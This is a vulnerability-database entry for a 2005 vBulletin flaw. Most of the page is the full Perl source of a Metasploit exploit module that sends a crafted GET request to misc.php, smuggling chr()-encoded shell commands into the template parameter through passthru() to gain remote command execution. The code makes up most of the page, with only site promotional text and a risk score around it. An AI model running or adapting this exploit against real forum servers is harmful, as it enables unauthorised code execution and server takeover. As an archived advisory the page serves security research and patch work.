Lucene search
K

vBulletin <= 3.0.6 (Template) Command Execution Exploit (metasploit)

🗓️ 03 Aug 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution exploi

Code

                                                ##
#        Title: vBulletin &lt;= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base &quot;Msf::Exploit&quot;;
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     =&gt; 'vBulletin &lt;= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        'Version'  =&gt; '$Revision: 1.0 $',
        'Authors'  =&gt; [ 'str0ke' ],
        'Arch'     =&gt; [ ],
        'OS'       =&gt; [ ],
        'Priv'     =&gt; 0,
        'UserOpts' =&gt;
          {
                'RHOST' =&gt; [1, 'ADDR', 'The target address'],
                'RPORT' =&gt; [1, 'PORT', 'The target port', 80],
                'VHOST' =&gt; [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' =&gt; [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
                'SSL'   =&gt; [0, 'BOOL', 'Use SSL'],
          },

        'Description' =&gt; Pex::Text::Freeform(qq{
                This module exploits a code execution flaw in vBulletin &lt;= 3.0.6.
}),

        'Refs' =&gt;
          [
                ['MIL', '832'],
          ],

        'Payload' =&gt;
          {
                'Space' =&gt; 512,
                'Keys'  =&gt; ['cmd', 'cmd_bash'],
          },

        'Keys' =&gt; ['vBulletin'],
  };

sub new {
        my $class = shift;
        my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt; $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self-&gt;GetVar('RHOST');
        my $target_port    = $self-&gt;GetVar('RPORT');
        my $vhost          = $self-&gt;GetVar('VHOST') || $target_host;
        my $path           = $self-&gt;GetVar('RPATH');
        my $cmd            = $self-&gt;GetVar('EncodedPayload')-&gt;RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the get request data
        my $data = &quot;?do=page&amp;template={\${passthru($byte)}}&quot;;

        my $req =
                &quot;GET $path$data HTTP/1.1\r\n&quot;.
                &quot;Host: $vhost:$target_port\r\n&quot;.
                &quot;Content-Type: application/html\r\n&quot;.
                &quot;Content-Length: &quot;. length($data).&quot;\r\n&quot;.
                &quot;Connection: Close\r\n&quot;.
                &quot;\r\n&quot;;

        my $s = Msf::Socket::Tcp-&gt;new(
                'PeerAddr'  =&gt; $target_host,
                'PeerPort'  =&gt; $target_port,
                'LocalPort' =&gt; $self-&gt;GetVar('CPORT'),
                'SSL'       =&gt; $self-&gt;GetVar('SSL'),
          );

        if ($s-&gt;IsError){
                $self-&gt;PrintLine('[*] Error creating socket: ' . $s-&gt;GetError);
                return;
        }

        $self-&gt;PrintLine(&quot;[*] Sending the malicious vBulletin Get request...&quot;);

        $s-&gt;Send($req);

        my $results = $s-&gt;Recv(-1, 20);
        $s-&gt;Close();

        return;
}

1;

# milw0rm.com [2005-08-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2005 00:00Current
7.1High risk
Vulners AI Score7.1
19